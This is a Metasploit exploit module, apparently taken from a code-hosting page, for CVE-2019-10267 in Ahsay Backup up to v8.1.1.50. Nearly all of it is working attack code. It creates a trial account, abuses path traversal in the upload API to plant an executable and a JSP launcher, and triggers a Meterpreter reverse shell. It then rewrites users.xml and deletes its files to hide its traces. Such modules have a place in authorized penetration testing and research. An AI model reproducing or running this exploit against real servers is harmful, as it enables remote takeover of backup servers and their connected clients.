393 lines
13 KiB
Ruby
393 lines
13 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include REXML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload',
|
|
'Description' => %q{
|
|
This module exploits an authenticated insecure file upload and code
|
|
execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully execute
|
|
the upload credentials are needed, default on Ahsay Backup trial
|
|
accounts are enabled so an account can be created.
|
|
|
|
It can be exploited in Windows and Linux environments to get remote code
|
|
execution (usualy as SYSTEM). This module has been tested successfully
|
|
on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of this
|
|
flaw all connected clients can be configured to execute a command before
|
|
the backup starts. Allowing an attacker to takeover even more systems
|
|
and make it rain shells!
|
|
|
|
Setting the CREATEACCOUNT to true will create a new account, this is
|
|
enabled by default.
|
|
If credeantials are known enter these and run the exploit.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Wietse Boonstra'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2019-10267'],
|
|
[ 'URL', 'https://www.wbsec.nl/ahsay/' ],
|
|
[ 'URL', 'http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe' ]
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'DefaultOptions' => {
|
|
'RPORT' => 443,
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[ 'Linux x86', # should work but untested
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => '2019-06-01'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('TARGETURI', [true, 'Path to Ahsay', '/']),
|
|
OptString.new('USERNAME', [true, 'Username for the (new) account', Rex::Text.rand_text_alphanumeric(8)]),
|
|
OptString.new('PASSWORD', [true, 'Password for the (new) account', Rex::Text.rand_text_alpha(8) + Rex::Text.rand_text_numeric(5) + Rex::Text.rand_char("","!$%^&*")]),
|
|
OptString.new('CREATEACCOUNT', [false, 'Create Trial account', 'false']),
|
|
OptString.new('UPLOADPATH', [false, 'Payload Path', '../../webapps/cbs/help/en']),
|
|
|
|
])
|
|
end
|
|
|
|
def is_trial_enabled?
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','isTrialEnabled'),
|
|
'method' => 'POST',
|
|
'data' => ''
|
|
})
|
|
if res and res.code == 200 and "ENABLED" =~ /#{res.body}/
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def check_account?
|
|
headers = create_request_headers
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','getUserProfile'),
|
|
'method' => 'POST',
|
|
'data' => '',
|
|
'headers' => headers
|
|
})
|
|
if res and res.code == 200
|
|
print_good("Username and password are valid!")
|
|
return true
|
|
elsif res and res.code == 500 and "USER_NOT_EXIST" =~ /#{res.body}/
|
|
# fail_with(Failure::NoAccess, 'Username incorrect!')
|
|
print_status("Username does not exist.")
|
|
return false
|
|
elsif res and res.code == 500 and "PASSWORD_INCORRECT" =~ /#{res.body}/
|
|
# fail_with(Failure::NoAccess, 'Username exists but password incorrect!')
|
|
print_status("Username exists but password incorrect!")
|
|
return false
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def create_request_headers
|
|
headers = {}
|
|
username = Rex::Text.encode_base64(datastore['USERNAME'])
|
|
password = Rex::Text.encode_base64(datastore['PASSWORD'])
|
|
headers['X-RSW-custom-encode-username'] = username
|
|
headers['X-RSW-custom-encode-password'] = password
|
|
headers
|
|
end
|
|
|
|
def exploit
|
|
username = datastore['USERNAME']
|
|
password = datastore['PASSWORD']
|
|
|
|
if is_trial_enabled? and datastore['CREATEACCOUNT'] == "true"
|
|
if username == "" or password == ""
|
|
fail_with(Failure::NoAccess, 'Please set a username and password')
|
|
else
|
|
#check if account does not exist?
|
|
if !check_account?
|
|
# Create account and check if it is valid
|
|
if create_account?
|
|
drop_and_execute()
|
|
else
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate')
|
|
end
|
|
else
|
|
#Need to fix, check if account exist
|
|
print_good("No need to create account, already exists!")
|
|
drop_and_execute()
|
|
end
|
|
end
|
|
elsif username != "" and password != ""
|
|
if check_account?
|
|
drop_and_execute()
|
|
else
|
|
if is_trial_enabled?
|
|
fail_with(Failure::NoAccess, 'Username and password are invalid. But server supports trial accounts, you can create an account!')
|
|
end
|
|
fail_with(Failure::NoAccess, 'Username and password are invalid')
|
|
end
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Missing some settings')
|
|
end
|
|
end
|
|
|
|
def create_account?
|
|
headers = create_request_headers
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','user','addTrialUser'),
|
|
'method' => 'POST',
|
|
'data' => '',
|
|
'headers' => headers
|
|
})
|
|
# print (res.body)
|
|
if res and res.code == 200
|
|
print_good("Account created")
|
|
return true
|
|
elsif res.body.include?('LOGIN_NAME_IS_USED')
|
|
fail_with(Failure::NoAccess, 'Username is in use!')
|
|
elsif res.body.include?('PWD_COMPLEXITY_FAILURE')
|
|
fail_with(Failure::NoAccess, 'Password not complex enough')
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Something went wrong!')
|
|
end
|
|
end
|
|
|
|
def remove_account
|
|
if datastore['CREATEACCOUNT']
|
|
username = datastore['USERNAME']
|
|
users_xml = "../../conf/users.xml"
|
|
print_status("Looking for account #{username} in #{users_xml}")
|
|
xml_doc = download(users_xml)
|
|
xmldoc = Document.new(xml_doc)
|
|
el = 0
|
|
xmldoc.elements.each("Setting/Key") do |e|
|
|
el = el + 1
|
|
e.elements.each("Value") do |a|
|
|
if a.attributes["name"].include?('name')
|
|
if a.attributes["data"].include?(username)
|
|
print_good("Found account")
|
|
xmldoc.root.elements.delete el
|
|
print_status("Removed account")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
new_xml = xmldoc.root
|
|
print_status("Uploading new #{users_xml} file")
|
|
upload(users_xml, new_xml.to_s)
|
|
print_good("Account is inaccesible when service restarts!")
|
|
end
|
|
end
|
|
|
|
def prepare_path(path)
|
|
if path.end_with? '/'
|
|
path = path.chomp('/')
|
|
end
|
|
path
|
|
end
|
|
|
|
def drop_and_execute()
|
|
path = prepare_path(datastore['UPLOADPATH'])
|
|
exploitpath = path.gsub("../../webapps/cbs/",'')
|
|
exploitpath = exploitpath.gsub("/","\\\\\\")
|
|
requestpath = path.gsub("../../webapps/",'')
|
|
|
|
#First stage payload creation and upload
|
|
exe = payload.encoded_exe
|
|
exe_filename = Rex::Text.rand_text_alpha(10)
|
|
exefileLocation = "#{path}/#{exe_filename}.exe"
|
|
print_status("Uploading first stage payload.")
|
|
upload(exefileLocation, exe)
|
|
#../../webapps/cbs/help/en
|
|
exec = %Q{<% Runtime.getRuntime().exec(getServletContext().getRealPath("/") + "#{exploitpath}\\\\#{exe_filename}.exe");%>}
|
|
|
|
#Second stage payload creation and upload
|
|
jsp_filename = Rex::Text.rand_text_alpha(10)
|
|
jspfileLocation = "#{path}/#{jsp_filename}.jsp"
|
|
print_status("Uploading second stage payload.")
|
|
upload(jspfileLocation, exec)
|
|
proto = ssl ? 'https' : 'http'
|
|
url = "#{proto}://#{datastore['RHOST']}:#{datastore['RPORT']}" + normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp")
|
|
|
|
#Triggering the exploit
|
|
print_status("Triggering exploit! #{url}" )
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path, "#{requestpath}/#{jsp_filename}.jsp"),
|
|
'method' => 'GET'
|
|
})
|
|
if res and res.code == 200
|
|
print_good("Exploit executed!")
|
|
end
|
|
|
|
#Cleaning up
|
|
print_status("Cleaning up after our selfs.")
|
|
remove_account
|
|
print_status("Trying to remove #{exefileLocation}, but will fail when in use.")
|
|
delete(exefileLocation)
|
|
delete(jspfileLocation)
|
|
delete("../../user/#{datastore['USERNAME']}",true)
|
|
end
|
|
|
|
def upload(fileLocation, content)
|
|
username = Rex::Text.encode_base64(datastore['USERNAME'])
|
|
password = Rex::Text.encode_base64(datastore['PASSWORD'])
|
|
uploadPath = Rex::Text.encode_base64(fileLocation)
|
|
|
|
headers = {}
|
|
headers['X-RSW-Request-0'] = username
|
|
headers['X-RSW-Request-1'] = password
|
|
headers['X-RSW-custom-encode-path'] = uploadPath
|
|
res = send_request_raw({
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','upload'),
|
|
'method' => 'PUT',
|
|
'headers' => headers,
|
|
'data' => content,
|
|
'timeout' => 20
|
|
})
|
|
if res && res.code == 201
|
|
print_good("Succesfully uploaded file to #{fileLocation}")
|
|
else
|
|
fail_with(Failure::Unknown, "#{peer} - Server did not respond in an expected way")
|
|
end
|
|
end
|
|
|
|
def download(fileLocation)
|
|
#TODO make vars_get variable
|
|
print_status("Downloading file")
|
|
username = Rex::Text.encode_base64(datastore['USERNAME'])
|
|
password = Rex::Text.encode_base64(datastore['PASSWORD'])
|
|
headers = {}
|
|
headers['X-RSW-Request-0'] = username
|
|
headers['X-RSW-Request-1'] = password
|
|
res = send_request_cgi({
|
|
#/obs/obm7/file/download?X-RSW-custom-encode-path=../../conf/users.xml
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','download'),
|
|
'method' => 'GET',
|
|
'headers' => headers,
|
|
'vars_get' => {
|
|
'X-RSW-custom-encode-path' => fileLocation
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200
|
|
res.body
|
|
end
|
|
end
|
|
|
|
def delete(fileLocation, recursive=false)
|
|
print_status("Deleting file #{fileLocation}")
|
|
username = Rex::Text.encode_base64(datastore['USERNAME'])
|
|
password = Rex::Text.encode_base64(datastore['PASSWORD'])
|
|
headers = {}
|
|
headers['X-RSW-Request-0'] = username
|
|
headers['X-RSW-Request-1'] = password
|
|
res = send_request_cgi({
|
|
#/obs/obm7/file/delete?X-RSW-custom-encode-path=../../user/xyz
|
|
'uri' => normalize_uri(target_uri.path, 'obs','obm7','file','delete'),
|
|
'method' => 'DELETE',
|
|
'headers' => headers,
|
|
'vars_get' => {
|
|
'X-RSW-custom-encode-path' => fileLocation,
|
|
'recursive' => recursive
|
|
}
|
|
})
|
|
|
|
if res and res.code == 200
|
|
res.body
|
|
end
|
|
end
|
|
|
|
def check
|
|
#We need a cookie first
|
|
cookie_res = send_request_cgi({
|
|
#/cbs/system/ShowDownload.do
|
|
'uri' => normalize_uri(target_uri.path, 'cbs','system','ShowDownload.do'),
|
|
'method' => 'GET'
|
|
})
|
|
|
|
if cookie_res and cookie_res.code == 200
|
|
cookie = cookie_res.get_cookies.split()[0]
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
if defined?(cookie)
|
|
#request the page with all the clientside software links.
|
|
headers = {}
|
|
headers['Cookie'] = cookie
|
|
link = send_request_cgi({
|
|
#/cbs/system/ShowDownload.do
|
|
'uri' => normalize_uri(target_uri.path, 'cbs','system','download','indexTab1.jsp'),
|
|
'method' => 'GET',
|
|
'headers' => headers
|
|
})
|
|
|
|
if link and link.code == 200
|
|
link.body.each_line do |line|
|
|
#looking for the link that contains obm-linux and ends with .sh
|
|
if line.include? '<a href="/cbs/download/' and line.include? '.sh' and line.include? 'obm-linux'
|
|
filename = line.split("<a")[1].split('"')[1].split("?")[0]
|
|
filecontent = send_request_cgi({
|
|
#/cbs/system/ShowDownload.do
|
|
'uri' => normalize_uri(target_uri.path, filename),
|
|
'method' => 'GET',
|
|
'headers' => headers
|
|
})
|
|
if filecontent and filecontent.code == 200
|
|
filecontent.body.each_line do |l|
|
|
if l.include? 'VERSION="'
|
|
number = l.split("=")[1].split('"')[1]
|
|
if number.match /(\d+\.)?(\d+\.)?(\d+\.)?(\*|\d+)$/
|
|
if number <= '8.1.1.50' and not number < '7'
|
|
return Exploit::CheckCode::Appears
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
end
|
|
end
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
end
|
|
end
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
else
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
end
|
|
end
|